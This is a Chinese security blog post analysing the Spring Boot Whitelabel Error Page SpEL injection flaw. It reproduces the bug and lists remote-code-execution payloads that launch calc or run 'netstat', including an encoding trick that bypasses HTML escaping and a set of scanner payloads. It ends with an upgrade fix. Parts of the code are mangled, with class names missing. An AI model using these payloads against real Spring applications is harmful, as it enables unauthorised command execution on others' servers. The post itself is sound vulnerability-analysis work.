Spring Boot框架Whitelabel Error Page SpEL注入漏洞分析

时间:2024-10-09 11:18:01

微信公众号:DebugPwn



新浪微博:/u/2275304001?refer_flag=1005055010_


SpEL Introduction

The Spring Expression Language (SpEL for short) is a powerful expression language that supports querying and manipulating an object graph at runtime. The language syntax is similar to Unified EL but offers additional features, most notably method invocation and basic string templating functionality.

SpEL表达式带来方便的同时也带来了安全风险,攻击者可以注入恶意的SpEL表达式以获取系统的权限。



Spring Boot 框架Whitelabel Error Page SpEL注入的原因就是系统报错页面把用户的输入当做了表达式来执行,详情:

/spring-projects/spring-boot/issues/4763


补丁地址:/spring-projects/spring-boot/commit/edb16a13ee33e62b046730a47843cb5dc92054e6

漏洞复现:

下载spring-boot-1.3.找到spring-boot-sample

spring-boot-1.3.\spring-boot-1.3.\spring-boot-samples\spring-boot-sample-tomcat-jsp,修改WelcomeController代码如下,这样就能导致程序异常。

@RequestMapping("/fail2")
public String fail2(String payload) {
System.out.print(payload);
Integer.parseInt(payload);
throw new IllegalStateException();
}

或者

@RequestMapping("/fail2")
public String fail2(String payload) {
throw new IllegalStateException(payload);
}

一些测试用例的原因导致demo不能构建成功,需要maven配置:

<plugin>
<groupId></groupId>
<artifactId>maven-surefire-plugin</artifactId>
<version>2.6</version>
<configuration>
<skipTests>true</skipTests>
</configuration>
</plugin>


通过调试可得到Whitelabel Error Page模板页:

<html><body><h1>Whitelabel Error Page</h1><p>This application has no explicit mapping for /error, so you are seeing this as a fallback.

</p><div id='created'>${timestamp}</div><div>There was an unexpected error (type=${error}, status=${status}).</div><div>${message}</div></body></html>

当程序在运行的时候会解析其中的SpEL的表达式来填充value值得内容。

单步调试,可以看到对应异常的根对象信息:



继续跟进可以看到执行了()方法:


最后可以看到我们的pyaload成功执行了:



调用计算器:

http://localhost:8080/fail2?payload=${(new%(%27calc%27)).start()}

在解析SpEL表达式的时候注入表达式变成了&quot;aaa&quot;.replace(&#39;a&#39;,&#39;b&#39;)

可以看到payload中带有' " 的一些特殊字符会被html实体转义,导致不能预期的执行代码。

@Override
protected SpelExpression doParseExpression(String expressionString, ParserContext context) throws ParseException {
try {
this.expressionString = expressionString;
Tokenizer tokenizer = new Tokenizer(expressionString);
();
this.tokenStream = ();
this.tokenStreamLength = this.tokenStream.size();
this.tokenStreamPointer = 0;
this.constructedNodes.clear();
SpelNodeImpl ast = eatExpression();
if (moreTokens()) {
throw new SpelParseException(peekToken().startPos, SpelMessage.MORE_INPUT, toString(nextToken()));
}
Assert.isTrue(this.constructedNodes.isEmpty());
return new SpelExpression(expressionString, ast, this.configuration);
}
catch (InternalParseException ex) {
throw ();
}
}


但是可以通过String类动态生成特殊字符,最终构造:

http://localhost:8080/fail2?payload=${new%(new%(new%20byte[]{99,97,108,99})).start()}


之前看到几个朋友的扫描器payload是下面这样的,然后说扫不出来东西,因为针对Spring Boot这个漏洞压根就不会触发,只能检测到异常。

payload=${@@toString(@@getRuntime().exec(%27netstat%20-na%27).getInputStream())}

payload=${().forName(%%22).getMethod(%22getRuntime%22,null).invoke(null,null).exec(%22calc%22,null,null).toString()}

payload=${(new%(%27calc%27)).start()}

payload=${getClass().forName("").getMethod("getRuntime",null).invoke(null,null).exec("calc",null).toString()}

payload=${new%(new%20byte[]{86,117,108,110,101,114,97,98,108,101}).toUpperCase()}


最佳扫描器payload

payload=${new%(new%20byte[]{86,117,108,110,101,114,97,98,108,101})}。

payload=${().random() * 100.0}

前提需要目标系统控制器抛出异常才能触发这个漏洞。


修复方案:

目前分析该漏洞影响Spring Boot版本为1.1-1.3.0,建议企业进行排查,如果使用了该缺陷版本建议立即升级至1.3.1及以上版本。


参考:

Spring Boot框架SPEL漏洞技术分析与防护方案

/spel-vulnerability-technical-analysis-and-protection-scheme/

Spring Expression Language (SpEL)

/spring/docs/current/spring-framework-reference/html/

spring boot应用启动原理分析 

/hengyunabc/article/details/50120001

使用 Spring Boot 快速构建 Spring 框架应用

/developerworks/cn/java/j-lo-spring-boot/

漏洞预警 | Spring Boot 框架存在高危通用漏洞

/s?__biz=MzIyMjExNzk5NQ==&mid=2653079419&idx=1&sn=63c00b9dbc37c29072edb9b87b940758&scene=4#wechat_redirect

/spel-vulnerability-technical-analysis-and-protection-scheme/